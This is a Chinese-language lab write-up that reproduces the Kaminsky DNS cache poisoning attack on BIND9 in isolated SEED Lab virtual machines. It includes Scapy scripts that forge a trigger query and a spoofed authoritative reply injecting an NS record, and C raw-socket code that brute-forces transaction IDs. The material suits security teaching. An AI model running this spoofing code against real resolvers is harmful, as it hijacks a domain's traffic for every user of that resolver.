DNS 快取中毒--Kaminsky 攻擊復現

PsgQ發表於2021-03-31

0x00 搭建實驗環境


使用3臺Ubuntu 16.04虛擬機器,可到下面的參考連結下載

攻擊的服務是BIND9,由於條件限制,這裡使用本地的一臺虛擬機器當作遠端DNS解析器,關閉了DNSSEC服務,其中三臺機器IP地址,如下圖所示:

1

具體的實驗環境搭建過程,可參考:SEED Lab Description


配置User VM:

在使用者機 的 /etc/resolvconf/resolv.conf.d/head檔案中,加入下面語句,將其Local DNS 設為 10.0.2.5。

image-20210331150924216


更新 resolv.conf 檔案

sudo resolvconf  -u

進行驗證:dig www.example.com ,SERVER 為 要設定的Local DNS ip ,即表示設定成功。



配置 Local DNS Server VM:

編輯 /etc/bind/named.conf.options檔案,①關閉DNSSEC ②將快取 存放在dump.db檔案 ③設定查詢請求源埠為33333

image-20210331153128717


編輯 /etc/bind/named.conf檔案,紅框中的 可以幫助我們在 attack32.com不存在的情況下,也能進行轉發。(在本地域名伺服器裡面設定,到查詢這個域名,不去詢問根域名,不用買域名伺服器,去詢問10.0.2.6,其他域名還是去根域名依次遞迴查詢找的。)

image-20210331153447782


全配置好之後,重啟bind9服務。

sudo service bind9 restart


配置 attacker VM:

編輯 /etc/bind/named.conf 檔案,設定兩個attack32.com,example.com兩個域。

image-20210331155044938


編輯 /etc/bind/attack32.com.zone 檔案

image-20210331155343706


編輯 /etc/bind/example.com.zone檔案

image-20210331155545866


這裡的含義是,如果快取中毒,會把攻擊者的機器當作權威域名伺服器,向其 發出詢問,而攻擊者機器下的example.com.zone 檔案時偽造的,欺騙的。


全配置好之後,重啟bind9服務

sudo service bind9 restart


0x01攻擊概述


攻擊條件

①攻擊者無法進行鏈路上的竊聽,但具有IP欺騙能力,攻擊者擁有一臺attack32.com域名伺服器。

②伺服器沒有開啟DNSSEC功能。

③伺服器沒有進行源埠隨機化,且已知發出查詢的源埠為33333。


攻擊模型

2


①攻擊者先向DNS 解析器傳送一個xxxxx.example.com 的DNS查詢報文,觸發解析器去向根域名伺服器,頂級域名伺服器,權威域名伺服器遞迴解析。

②遞迴解析器向權威域名伺服器發出查詢請求。

③攻擊者傳送大量的偽造的權威域名伺服器響應資料包,其中使用NS記錄,將example.com整個域的查詢 轉向attack32.com,攻擊者的域名,實現快取中毒。一旦TXID命中,即可造成快取中毒。

④真正的權威域名伺服器進行響應。



0x02 實驗程式碼

思路:使用C程式碼偽造DNS資料包 程式碼執行速度較快,完全可以滿足攻擊要求,但構造過程較為複雜,使用python scapy庫的方式,構造資料包簡單,但執行速度較慢,使Local DNS 快取中毒難度較大。

綜合以上,我們打算 結合二者,先用python scapy 庫構造資料包,儲存為二進位制檔案,然後再用C語言去載入構造的資料包,在相應的偏移位置做出修改。( 可以使用bless工具去檢視偏移量 )。


因為需要去迴圈進行查詢,爆破相應transaction ID,所以我們要修改的在觸發查詢的請求包中主要是請求的域名,在響應包裡面需要修改域名,transaction ID。



偽造請求包觸發DNS解析器遞迴查詢

from scapy.all import *

target_name="xxxxx.example.com"    

ip  = IP(dst='10.0.2.5',src='10.0.2.6')                #dst為Local DNS IP,src是攻擊者IP。
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns

with open('Query.bin','wb')as f:
	f.write(bytes(Querypkt))

使用bless 檢視偏移量:

image-20210331140222901


發現xxxxx.example.com 在資料包中的偏移量為0x29,及轉化為十進位制為41。

後面會使用C code 進行修改。



偽造響應包

from scapy.all import *

targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attack32.com"

dstIP="10.0.2.5"
srcIP='199.43.135.53'                                    

ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)

Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns   = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns

with open('Reply.bin','wb') as f:
	f.write(bytes(Replypkt))

使用bless檢視偏移量:

image-20210331140636415


因為之前我們生成的響應資料包transaction ID為0xAAAA,所以這裡我們可以直接查詢16進位制程式碼找到,偏移量為0x1c,十進位制為28。

同理,第一個xxxxx.example.com 在資料包中的偏移量為0x29,41,第二個xxxxx.example.com 在資料包中的偏移量為0x40,64。



C攻擊程式碼:


#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <sys/socket.h>

#define MAX_FILE_SIZE 2000


/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_raw_packet(char * buffer, int pkt_size);


int main()
{
  long i = 0;

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("Query.bin", "rb");
  if (!f_req) {
     perror("Can't open 'Query.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("Reply.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'Reply.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  unsigned short transaction_id = 0;
  while (1) {
    

    // Generate a random name with length 5
    char name[5];
    for (int k=0; k<5; k++)  name[k] = a[rand() % 26];
	printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n", 
	     ++i, name, transaction_id);


    //##################################################################
    /* Step 1. Send a DNS request to the targeted local DNS server
              This will trigger it to send out DNS queries */
    memcpy(ip_req+41,name,5);               //偏移量為41
    send_raw_packet(ip_req, n_req);
   


    // Step 2. Send spoofed responses to the targeted local DNS server.
    memcpy(ip_resp+41,name,5);               //xxxxx 兩個域名偏移量為 41 和64
    memcpy(ip_resp+64,name,5);
	
    for(int i=0;i<100;i++)
	{
		transaction_id++;
		
		memcpy(ip_resp+28,&transaction_id,2); 
		send_raw_packet(ip_resp,n_resp);
	}
  
    
    //##################################################################
  }
return 0;
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
	     &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;          //IP包
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;
  
  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}


0x03 詳細過程

dig www.example.com 進行解析,可得到正常情況下的地址為93.184.216.34

image-20210331121835365


未發動攻擊前,使用check.sh檢視快取,快取中並沒有相應記錄。

image-20210331120044725


注意使用raw socket 要使用 sudo進行執行程式。

image-20210331131904789


程式執行過程:

image-20210331132024205



0x04 結果驗證


在Local DNS sever 端 寫了一個bash指令碼check.sh,進行驗證,也可直接在terminal終端使用中間兩條命令。

#!/bin/bash

echo 'dump the cache'
sudo rndc dumpdb -cache                                   
cat /var/cache/bind/dump.db | grep attack
echo 'if there is no result,the attack has not succeed yet'

sudo rndc dumpdb -cache 將bind的快取轉存到/var/cache/bind/dump.db

cat /var/cache/bind/dump.db | grep attack 檢視dump.db檔案, grep attack 查詢帶有attack的。


大約十秒左右,即可在Sever VM,通過check.sh指令碼檢視到結果。

image-20210331132235925


然後在User VM,進行驗證。

image-20210331132453766


攻擊成功!




0x05 參考資料


SEED Lab

SEED Lab Description

相關文章